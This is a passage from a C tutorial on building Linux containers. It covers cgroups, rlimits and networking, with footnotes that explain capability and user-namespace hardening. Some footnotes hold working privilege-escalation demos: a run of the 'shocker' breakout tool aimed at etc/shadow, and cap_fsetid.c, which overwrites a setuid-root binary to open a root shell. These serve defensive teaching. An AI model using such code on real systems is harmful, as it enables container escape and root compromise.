I'll also add the calling process for each of {memory,cpu,blkio,pids}/$hostname/tasks by writing '0' to it.

#define MEMORY "1073741824"
#define SHARES "256"
#define PIDS "64"
#define WEIGHT "10"
#define FD_COUNT 64

struct cgrp_control {
	char control[256];
	struct cgrp_setting {
		char name[256];
		char value[256];
	} **settings;
};
struct cgrp_setting add_to_tasks = {
	.name = "tasks",
	.value = "0"
};

struct cgrp_control *cgrps[] = {
	& (struct cgrp_control) {
		.control = "memory",
		.settings = (struct cgrp_setting *[]) {
			& (struct cgrp_setting) {
				.name = "memory.limit_in_bytes",
				.value = MEMORY
			},
			& (struct cgrp_setting) {
				.name = "memory.kmem.limit_in_bytes",
				.value = MEMORY
			},
			&add_to_tasks,
			NULL
		}
	},
	& (struct cgrp_control) {
		.control = "cpu",
		.settings = (struct cgrp_setting *[]) {
			& (struct cgrp_setting) {
				.name = "cpu.shares",
				.value = SHARES
			},
			&add_to_tasks,
			NULL
		}
	},
	& (struct cgrp_control) {
		.control = "pids",
		.settings = (struct cgrp_setting *[]) {
			& (struct cgrp_setting) {
				.name = "pids.max",
				.value = PIDS
			},
			&add_to_tasks,
			NULL
		}
	},
	& (struct cgrp_control) {
		.control = "blkio",
		.settings = (struct cgrp_setting *[]) {
			& (struct cgrp_setting) {
				.name = "blkio.weight",
				.value = PIDS
			},
			&add_to_tasks,
			NULL
		}
	},
	NULL
};

Writing to the cgroups version 1 filesystem works like this91:

  • In each controller, you can create a cgroup with a name with mkdir. For memory, mkdir /sys/fs/cgroup/memory/$hostname.
  • Inside of that you can write to the individual files to set values. For example, echo $MEMORY > /sys/fs/cgroup/memory/$hostname/memory.limit_in_bytes.
  • You can a pid to tasks to add the process tree to the cgroup. "0" is a special value that means "the writing process".

so I'll iterate over that structure and fill in the values.

int resources(struct child_config *config)
{
	fprintf(stderr, "=> setting cgroups...");
	for (struct cgrp_control **cgrp = cgrps; *cgrp; cgrp++) {
		char dir[PATH_MAX] = {0};
		fprintf(stderr, "%s...", (*cgrp)->control);
		if (snprintf(dir, sizeof(dir), "/sys/fs/cgroup/%s/%s",
			     (*cgrp)->control, config->hostname) == -1) {
			return -1;
		}
		if (mkdir(dir, S_IRUSR | S_IWUSR | S_IXUSR)) {
			fprintf(stderr, "mkdir %s failed: %m\n", dir);
			return -1;
		}
		for (struct cgrp_setting **setting = (*cgrp)->settings; *setting; setting++) {
			char path[PATH_MAX] = {0};
			int fd = 0;
			if (snprintf(path, sizeof(path), "%s/%s", dir,
				     (*setting)->name) == -1) {
				fprintf(stderr, "snprintf failed: %m\n");
				return -1;
			}
			if ((fd = open(path, O_WRONLY)) == -1) {
				fprintf(stderr, "opening %s failed: %m\n", path);
				return -1;
			}
			if (write(fd, (*setting)->value, strlen((*setting)->value)) == -1) {
				fprintf(stderr, "writing to %s failed: %m\n", path);
				close(fd);
				return -1;
			}
			close(fd);
		}
	}
	fprintf(stderr, "done.\n");

I'll also lower the hard limit on the number of file descriptors. The file descriptor number, like the number of pids, is per-user, and so we want to prevent in-container process from occupying all of them. Setting the hard limit sets a permanent upper bound for this process tree, since I've dropped CAP_SYS_RESOURCE 92.

	fprintf(stderr, "=> setting rlimit...");
	if (setrlimit(RLIMIT_NOFILE,
		      & (struct rlimit) {
			.rlim_max = FD_COUNT,
			.rlim_cur = FD_COUNT,
		})) {
		fprintf(stderr, "failed: %m\n");
		return 1;
	}
	fprintf(stderr, "done.\n");
	return 0;
}

We'd also like to clean up the cgroup for this hostname. There's built-in functionality for this, but we would need to change system-wide values to do it cleanly93. Since we have the contained process waiting on the contained process, it's simple to do it this way. First we move the contained process back into the root tasks; then, since the child process is finished, and leaving the pid namespace SIGKILLS its children, the tasks is empty. We can safely rmdir at this point.

int free_resources(struct child_config *config)
{
	fprintf(stderr, "=> cleaning cgroups...");
	for (struct cgrp_control **cgrp = cgrps; *cgrp; cgrp++) {
		char dir[PATH_MAX] = {0};
		char task[PATH_MAX] = {0};
		int task_fd = 0;
		if (snprintf(dir, sizeof(dir), "/sys/fs/cgroup/%s/%s",
			     (*cgrp)->control, config->hostname) == -1
		    || snprintf(task, sizeof(task), "/sys/fs/cgroup/%s/tasks",
				(*cgrp)->control) == -1) {
			fprintf(stderr, "snprintf failed: %m\n");
			return -1;
		}
		if ((task_fd = open(task, O_WRONLY)) == -1) {
			fprintf(stderr, "opening %s failed: %m\n", task);
			return -1;
		}
		if (write(task_fd, "0", 2) == -1) {
			fprintf(stderr, "writing to %s failed: %m\n", task);
			close(task_fd);
			return -1;
		}
		close(task_fd);
		if (rmdir(dir)) {
			fprintf(stderr, "rmdir %s failed: %m", dir);
			return -1;
		}
	}
	fprintf(stderr, "done.\n");
	return 0;
}

Networking

Container networking takes a little too much explanation for this space. It usually works like this:

  • Create a bridge device.
  • Create a virtual ethernet pair and attach one end to the bridge.
  • Put the other end in the network namespace.
  • For outside networking access, the host needs to be set to forward (and possibly NAT) packets.

Having multiple contained processes sharing a bridge device would mean they're both on the same LAN from the host's perspective. So ARP spoofing is a recurring issue with containers that work this way94.

The canonical way to do this from C is the rtnetlink interface; it would probably be easier to use ip link ....

We could also limit the network usage with the net_prio cgroup controller95.

Footnotes:

1

"Linux User Namespaces Might Not Be Secure Enough" by Erica Windisch:

If a (real) root user has had the SYS_CAP_ADMIN capability removed, but then creates a user namespace, this capability is restored for the (fake) root user. That is, before creating the namespace, ‘mount’ would be denied, but following the creation of the user namespace, the ‘mount’ syscall would magically work again, albeit in a limited fashion. While limited in function, it’s significant enough that given a (real) root user and a kernel with user namespaces, Linux capabilities may be completely subverted.

and man 7 user_namespaces says:

The child process created by clone(2) with the CLONE_NEWUSER flag starts out with a complete set of capabilities in the new user namespace.

and "Understanding and Hardening Linux Containers" again

User namespaces also allows for ``interesting'' intersections of security models, whereas full root capabilities are granted to new namespace. This can allow CLONE_NEWUSER to effectively use CAP_NET_ADMIN over other network namespaces as they are exposed, and if containers are not in use. Additionally, as we have seen many times, processes with CAP_NET_ADMIN have a large attack surface and have resulted in a number of different kernel vulnerabilities. This may allow an unprivileged user namespace to target a large attack surface (the kernel networking subsystem) whereas a privileged container with reduced capabilities would not have such permissions. See Section 5.5 on page 39 for a more in-depth discussion on this topic.

We can demonstrate this behavior (on a host with user namespaces compiled in) with

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static  subverting_networking.c \*/
/*                   -o subverting_networking" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/sockios.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) {
		fprintf(stderr, "++ unshare failed: %m\n");
		return 1;
	}
	/* this is how you create a bridge... */
	int sock = 0;
	if ((sock = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1) {
		fprintf(stderr, "++ socket failed: %m\n");
		return 1;
	}
	if (ioctl(sock, SIOCBRADDBR, "br0")) {
		fprintf(stderr, "++ ioctl failed: %m\n");
		close(sock);
		return 1;
	}
	close(sock);
	fprintf(stderr, "++ success!\n");
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ ./subverting_networking
  ++ success!
  alpine-kernel-dev:~$

but we're not actually that powerful.

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -lcap -static subverting_setfcap.c \*/
/*                   -o subverting_setfcap" */
/* End: */
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <linux/capability.h>
#include <sys/capability.h>

int main (int argc, char **argv)
{
	if (unshare(CLONE_NEWUSER)) {
		fprintf(stderr, "++ unshare failed: %m\n");
		return 1;
	}
	cap_t cap = cap_from_text("cap_net_admin+ep");
	if (cap_set_file("example", cap)) {
		fprintf(stderr, "++ cap_set_file failed: %m\n");
		cap_free(cap);
		return 1;
	}
	cap_free(cap);
	return 0;
}
  alpine-kernel-dev:~$ whoami
  lizzie
  alpine-kernel-dev:~$ touch example
  alpine-kernel-dev:~$ ./subverting_setfcap
  ++ cap_set_file failed: Operation not permitted
2

init/Kconfig:1207@c8d2bc

config USER_NS
	bool "User namespace"
	default n
	help
	  This allows containers, i.e. vservers, to use user namespaces
	  to provide different user info for different servers.

	  When user namespaces are enabled in the kernel it is
	  recommended that the MEMCG option also be enabled and that
	  user-space use the memory control groups to limit the amount
	  of memory a memory unprivileged users can use.

	  If unsure, say N.
3

Ubuntu switches CONFIG_USER_NS on, but patches it so that it unprivileged use can be disabled with a sysctl, unpriviliged_userns_clone.

commit 92e575e769cc50a9bfb50fb58fe94aab4f2a2bff
Author: Serge Hallyn <redacted>
Date:   Tue Jan 5 20:12:21 2016 +0000

    UBUNTU: SAUCE: add a sysctl to disable unprivileged user namespace unsharing
    
    It is turned on by default, but can be turned off if admins prefer or,
    more importantly, if a security vulnerability is found.
    
    The intent is to use this as mitigation so long as Ubuntu is on the
    cutting edge of enablement for things like unprivileged filesystem
    mounting.
    
    (This patch is tweaked from the one currently still in Debian sid, which
    in turn came from the patch we had in saucy)
    
    Signed-off-by: Serge Hallyn <redacted>
    [bwh: Remove unneeded binary sysctl bits]
    Signed-off-by: Tim Gardner <redacted>

Debian has the same behavior:

From: Serge Hallyn <redacted>
Date: Fri, 31 May 2013 19:12:12 +0000 (+0100)
Subject: add sysctl to disallow unprivileged CLONE_NEWUSER by default
Origin: http://kernel.ubuntu.com/git?p=serge%2Fubuntu-saucy.git;a=commit;h=5c847404dcb2e3195ad0057877e1422ae90892b8

add sysctl to disallow unprivileged CLONE_NEWUSER by default

This is a short-term patch.  Unprivileged use of CLONE_NEWUSER
is certainly an intended feature of user namespaces.  However
for at least saucy we want to make sure that, if any security
issues are found, we have a fail-safe.

Signed-off-by: Serge Hallyn <redacted>
[bwh: Remove unneeded binary sysctl bits]
---

Grsecurity disables it entirely for users without CAP_SYS_ADMIN, CAP_SETUID, and CAP_SETGID.

--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -84,6 +84,21 @@ int create_user_ns(struct cred *new)
 	    !kgid_has_mapping(parent_ns, group))
 		return -EPERM;
 
+#ifdef CONFIG_GRKERNSEC
+	/*
+	 * This doesn't really inspire confidence:
+	 * http://marc.info/?l=linux-kernel&m=135543612731939&w=2
+	 * http://marc.info/?l=linux-kernel&m=135545831607095&w=2
+	 * Increases kernel attack surface in areas developers
+	 * previously cared little about ("low importance due
+	 * to requiring "root" capability")
+	 * To be removed when this code receives *proper* review
+	 */
+	if (!capable(CAP_SYS_ADMIN) || !capable(CAP_SETUID) ||
+			!capable(CAP_SETGID))
+		return -EPERM;
+#endif

and Arch Linux has it off.

Comment by William Kennington (Webhostbudd) - Sunday, 06 October 2013, 03:55 GMT

I agree with Florian, allowing non-root users to take advantage of
elevating themselves to a local root seems like a huge attack
surface. Preferably this would be a sysctl with a huge warning
attached to it when it is switched on.

Comment by Daniel Micay (thestinger) - Monday, 24 November 2014, 03:55 GMT

[...]  Arch doesn't add new features via patches. If you want to see
this feature enabled, then land something like this upstream. Note
that CONFIG_USER_NS is already enabled in the linux-grsec package
because it fully removes the ability to have unprivileged user
namespaces.

It would have been cool to include Red Hat's patches here, but I couldn't find them.

4

Most of this section is cribbed from the example at the bottom of man 2 clone.

5
/* -*- compile-command: "gcc -Wall -Werror clone_stack.c -o clone_stack" -*- */
#define _GNU_SOURCE
#include <sched.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define STACK_SIZE (1024 * 1024)

int child (void *_)
{
	int stack_value = 0;
	fprintf(stderr, "pre-execve, stack is ~%p\n", &stack_value);
	execve("./show_stack", (char  *[]) {",/show_stack", 0}, NULL);
	return 0;
}

int main (int argc, char **argv) {
	void *stack = malloc(STACK_SIZE);
	clone(child, stack + STACK_SIZE, SIGCHLD, NULL);
	wait(NULL);
	return 0;
}
/* -*- compile-command: "gcc -Wall -Werror -static show_stack.c -o show_stack" -*- */
#include <stdio.h>

int main (int argc, char **argv)
{
	int stack_value = 0;
	fprintf(stderr, "post-execve, stack is ~%p\n", &stack_value);
	return 0;
}
  [lizzie@empress linux-containers-in-500-loc]$ ./clone_stack
  pre-execve, stack is ~0x7f3f98deefec
  post-execve, stack is ~0x7ffd14d2291c

The stack grows down on x86, so the fact that the address is higher numerically post-execve means that a new stack has been allocated.

6

I thought this might be undefined behavior, since stack + STACK_SIZE does point past the last item of the array, but point 8 of 6.5.6 [Additive operators] in ISO-9899 has us covered:

If both the pointer operand and the result point to elements of the same array object, or one past the last element of the array object, the evaluation shall not produce an overflow; otherwise, the behavior is undefined. If the result points one past the last element of the array object, it shall not be used as the operand of a unary * operator that is evaluated.

i.e., the pointer addition is valid, but dereferencing it wouldn't be.

7

I wasn't confident that waitpid was enough to wait for the process and all of its children, but when the root of a pid namespace closes, all of its children get SIGKILL:

man 7 pid_namespaces:

If the "init" process of a PID namespace terminates, the kernel terminates all of the processes in the namespace via a SIGKILL signal. This behavior reflects the fact that the "init" process is essential for the correct operation of a PID namespace.

Also verified this myself, before I found that:

/* -*- compile-command: "gcc -Wall -Werror -static persistent_child.c -o persistent_child" -*- */
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argc, char **argv)
{
	switch (fork()) {
	case -1:
		fprintf(stderr, "++ fork failed: %m\n");
		return 1;
	case 0:;
		int fd = 0;
		if ((fd = open("persistent_child.log",
			       O_CREAT | O_APPEND | O_WRONLY,
			       S_IRUSR | S_IWUSR)) == -1) {
			fprintf(stderr, "++ open failed: %m\n");
			return 1;
		}
		size_t count = 0;
		while (count < 100) {
			if (dprintf(fd, "%lu\n", count++) < 0) {
				fprintf(stderr, "++ dprintf failed: %m\n");
				close(fd);
				return 1;
			}
			sleep(1);
		}
		close(fd);
		return 0;
	default:
		sleep(2);
		return 0;
	}
}
[lizzie@empress l-c-i-500-l]$ touch persistent_child.log 
[lizzie@empress l-c-i-500-l]$ chmod 666 persistent_child.log 
[lizzie@empress l-c-i-500-l]$ sudo strace -f ./contained -m . -u 0 -c ./persistent_child
execve("./contained", ["./contained", "-m", ".", "-u", "0", "-c", "./persistent_child"], [/* 15 vars */]) = 0
brk(NULL)                               = 0x605490
# ...
[pid   736] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x6b68d0) = 2
strace: Process 746 attached
[pid   736] nanosleep({2, 0},  <unfinished ...>
[pid   746] open("persistent_child.log", O_WRONLY|O_CREAT|O_APPEND, 0600) = 3
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=4, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 0
[pid   746] write(3, "0\n", 2)          = 2
[pid   746] nanosleep({1, 0}, 0x3fee2d718d0) = 0
[pid   746] fstat(3, {st_mode=S_IFREG|0666, st_size=6, ...}) = 0
[pid   746] lseek(3, 0, SEEK_CUR)       = 6
[pid   746] write(3, "1\n", 2)          = 2
[pid   746] nanosleep({1, 0},  <unfinished ...>
[pid   736] <... nanosleep resumed> 0x3fee2d718d0) = 0
[pid   736] exit_group(0)               = ?
[pid   746] +++ killed by SIGKILL +++
[pid   736] +++ exited with 0 +++
# ...
	close(sockets[1]);
	sockets[1] = 0;
	if (handle_child_uid_map(child_pid, sockets[0])) {
		err = 1;
		goto kill_and_finish_child;
	}

	goto finish_child;
kill_and_finish_child:
	if (child_pid) kill(child_pid, SIGKILL);
finish_child:;
	int child_status = 0;
	waitpid(child_pid, &child_status, 0);
	err |= WEXITSTATUS(child_status);
clear_resources:
	free_resources(&config);
	free(stack);

A process setting its own user namespace is pretty limited8, so the parent will wait until the child enters the user namespace, and then write a mapping to its uid_map and gid_map.

8
	In order for  a process to write  to the /proc/[pid]/uid_map
	(/proc/[pid]/gid_map)   file,    all   of    the   following
	requirements must be met:

	1. The writing process must have the CAP_SETUID (CAP_SETGID)
	   capability in the user namespace of the process pid.

	2. The writing process must either  be in the user namespace
	   of the process pid or be  in the parent user namespace of
	   the process pid.

	3. The  mapped user  IDs (group  IDs)  must in  turn have  a
	   mapping in the parent user namespace.

	4. One of the following two cases applies:

	   *  Either   the  writing   process  has   the  CAP_SETUID
		 (CAP_SETGID) capability in the parent user namespace.

		 +  No further restrictions apply: the process can make
		    mappings to  arbitrary user IDs (group  IDs) in the
		    parent user namespace.

	   *  Or otherwise all of the following restrictions apply:

		 +  The data written to  uid_map (gid_map) must consist
		    of a  single line  that maps the  writing process's
		    effective  user ID  (group ID)  in the  parent user
		    namespace  to a  user  ID (group  ID)  in the  user
		    namespace.

		 +  The writing  process must  have the  same effective
		    user  ID  as  the  process that  created  the  user
		    namespace.

		 +  In  the case  of gid_map,  use of  the setgroups(2)
		    system call must first be denied by writing deny to
		    the /proc/[pid]/setgroups  file (see  below) before
		    writing to gid_map.

	Writes  that violate  the above  rules fail  with the  error
	EPERM.
9

gid, sgid, and egid are separate from group_info in struct cred:

/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *	task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *	upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};
10

For example, test_perm in the /proc/sys-handling-code:

static int test_perm(int mode, int op)
{
	if (uid_eq(current_euid(), GLOBAL_ROOT_UID))
		mode >>= 6;
	else if (in_egroup_p(GLOBAL_ROOT_GID))
		mode >>= 3;
	if ((op & ~mode & (MAY_READ|MAY_WRITE|MAY_EXEC)) == 0)
		return 0;
	return -EACCES;
}
11
/* -*- compile-command: "gcc -Wall -Werror -static try_regain_cap.c -o try_regain_cap" -*- */
#include <linux/capability.h>
#include <sys/prctl.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	if (prctl(PR_CAPBSET_READ, CAP_MKNOD, 0, 0, 0)) {
 		fprintf(stderr, "++ have CAP_MKNOD\n");
	} else {
		fprintf(stderr, "++ don't have CAP_MKNOD\n");
	}
	return 0;
}

If we drop the bounding set, files with extra capabilities don't get those capabilities:

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+p" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.lVLNB1...done.
=> trying a user namespace...writing /proc/852/uid_map...writing /proc/852/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ don't have CAP_MKNOD
=> cleaning cgroups...done.

but if we don't, they work:

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..6ab1719 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -53,10 +53,7 @@ int capabilities()
 	size_t num_caps = sizeof(drop_caps) / sizeof(*drop_caps);
 	fprintf(stderr, "bounding...");
 	for (size_t i = 0; i < num_caps; i++) {
-		if (prctl(PR_CAPBSET_DROP, drop_caps[i], 0, 0, 0)) {
-			fprintf(stderr, "prctl failed: %m\n");
-			return 1;
-		}
+		continue;
 	}
 	fprintf(stderr, "inheritable...");
 	cap_t caps = NULL;
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_all_caps -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Qnzw2A...done.
=> trying a user namespace...writing /proc/940/uid_map...writing /proc/940/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD
=> cleaning cgroups...done.

(and if we set +ep, execve fails because it's considered a "capability-dumb binary")

[lizzie@empress l-c-i-500-l]$ sudo setcap "cap_mknod+ep" try_regain_cap
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c try_regain_cap
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Esog3p...done.
=> trying a user namespace...writing /proc/994/uid_map...writing /proc/994/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
execve failed! Operation not permitted.
=> cleaning cgroups...done.
   Safety checking for capability-dumb binaries
	A  capability-dumb binary  is an  application that  has been
	marked to have file capabilities, but has not been converted
	to  use the  libcap(3) API  to manipulate  its capabilities.
	(In  other words,  this  is  a traditional  set-user-ID-root
	program that has been switched to use file capabilities, but
	whose   code   has   not   been   modified   to   understand
	capabilities.)    For  such   applications,  the   effective
	capability  bit  is  set  on  the file,  so  that  the  file
	permitted  capabilities  are  automatically enabled  in  the
	process effective  set when executing the  file.  The kernel
	recognizes a file which has the effective capability bit set
	as capability-dumb  for the  purpose of the  check described
	here.

	When executing  a capability-dumb binary, the  kernel checks
	if the process obtained all permitted capabilities that were
	specified in  the file  permitted set, after  the capability
	transformations described  above have been  performed.  (The
	typical  reason  why  this  might  not  occur  is  that  the
	capability bounding set masked  out some of the capabilities
	in the file  permitted set.)  If the process  did not obtain
	the full set of  file permitted capabilities, then execve(2)
	fails with the error EPERM.  This prevents possible security
	risks that could arise when a capability-dumb application is
	executed with less  privilege that it needs.   Note that, by
	definition, the application could  not itself recognize this
	problem, since it does not employ the libcap(3) API.
12
switch (msg_type) {
case AUDIT_LIST:
case AUDIT_ADD:
case AUDIT_DEL:
	return -EOPNOTSUPP;
case AUDIT_GET:
case AUDIT_SET:
case AUDIT_GET_FEATURE:
case AUDIT_SET_FEATURE:
case AUDIT_LIST_RULES:
case AUDIT_ADD_RULE:
case AUDIT_DEL_RULE:
case AUDIT_SIGNAL_INFO:
case AUDIT_TTY_GET:
case AUDIT_TTY_SET:
case AUDIT_TRIM:
case AUDIT_MAKE_EQUIV:
	/* Only support auditd and auditctl in initial pid namespace
	 * for now. */
	if (task_active_pid_ns(current) != &init_pid_ns)
		return -EPERM;

	if (!netlink_capable(skb, CAP_AUDIT_CONTROL))
		err = -EPERM;
	break;
case AUDIT_USER:
case AUDIT_FIRST_USER_MSG ... AUDIT_LAST_USER_MSG:
case AUDIT_FIRST_USER_MSG2 ... AUDIT_LAST_USER_MSG2:
	if (!netlink_capable(skb, CAP_AUDIT_WRITE))
		err = -EPERM;
	break;
default:  /* bad msg */
	err = -EINVAL;
}

13

You can obtain an audit system file descriptor by calling

socket(AF_NETLINK, SOCK_DGRAM, NETLINK_AUDIT)
NETLINK(7) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

NAME
	netlink  -  communication  between  kernel  and  user  space
	(AF_NETLINK)
SYNOPSIS
	[...]
	netlink_socket = socket(AF_NETLINK, socket_type, netlink_family);
	[...]
DESCRIPTION
	Netlink is  used to transfer information  between the kernel
	and  user-space  processes.   It   consists  of  a  standard
	sockets-based  interface for  user  space  processes and  an
	internal kernel API for kernel modules.
	[...]
	netlink_family selects the kernel module or netlink group to
	communicate with.   The currently assigned  netlink families
	are:
	[...]
	NETLINK_AUDIT (since Linux 2.6.6)
		Auditing.
14
	CAP_BLOCK_SUSPEND (since Linux 3.5)
		Employ features that can block system suspend (epoll(7)
		EPOLLWAKEUP, /proc/sys/wake_lock).

15

An email and description by Sebastian Krahmer

In 0.11 the problem is that the apps that run in the container have CAP_DAC_READ_SEARCH and CAP_DAC_OVERRIDE which allows the containered app to access files not just by pathname (which would be impossible due to the bind mount of the rootfs) but also by handles via open_by_handle_at(). Handles are mostly 64bit values and can be kind of pre-computed as they are inode-based and the inode of / is 2. So you can go ahead and walk / by passing a handle of 2 and search the FS until you find the inode# of the file you want to access. Even though you are containered somewhere in /var/lib.

which links to the code, shocker.c.

Note that, if usernamespaces are on, we're not vulnerable, since open_by_handle_at checks for CAP_DAC_READ_SEARCH in the root namespace:

[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GSmTxw...done.
=> trying a user namespace...writing /proc/1538/uid_map...writing /proc/1538/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.
static int handle_to_path(int mountdirfd, struct file_handle __user *ufh,
		   struct path *path)
{
	int retval = 0;
	struct file_handle f_handle;
	struct file_handle *handle = NULL;

	/*
	 * With handle we don't look at the execute bit on the
	 * the directory. Ideally we would like CAP_DAC_SEARCH.
	 * But we don't have that
	 */
	if (!capable(CAP_DAC_READ_SEARCH)) {
		retval = -EPERM;
		goto out_err;
	}
	/* ... */
}
16

The setuid executable we'll subvert:

/* -*- compile-command: "gcc -Wall -Werror harmless_setuid.c -o harmless_setuid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	uid_t a, b, c = 0;
	getresuid(&a, &b, &c);
	printf("I'm #%d/%d/%d\n", a, b, c);
	return 0;
}

This program will write itself to the executable at argv[1]. If it's a setuid root executable, there's no user namespace, and CAP_FSETID isn't dropped, it'll retain setuid root.

/* -*- compile-command: "gcc -Wall -Werror -static cap_fsetid.c -o cap_fsetid" -*- */
#define _GNU_SOURCE
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (argc == 2) {
		/* write our contents to the setuid file. */
		int setuid_file = 0;
		int own_file = 0;
		if ((setuid_file = open(argv[1], O_WRONLY | O_TRUNC)) == -1
		    || (own_file = open(argv[0], O_RDONLY)) == -1) {
			fprintf(stderr, "++ open failed: %m\n");
			return 1;
		}
		errno = 0;
		char here = 0;
		while (read(own_file, &here, 1) > 0
		       && write(setuid_file, &here, 1) > 0);;
		if (errno) {
			fprintf(stderr, "++ reading/writing: %m\n");
			close(setuid_file);
			close(own_file);
		}
		close(own_file);
		close(setuid_file);
	} else {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ failed switching uids to root: %m\n");
			return 1;
		}
		execve("/bin/sh", (char *[]) { "sh", 0 }, NULL);
	}
	return 0;
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..17e7373 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -34,7 +34,6 @@ int capabilities()
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
 		CAP_DAC_READ_SEARCH,
-		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
[lizzie@empress l-c-i-500-l]$ make -B harmless_setuid
cc -Wall -Werror -static harmless_setuid.c -o harmless_setuid
[lizzie@empress l-c-i-500-l]$ sudo chown root harmless_setuid
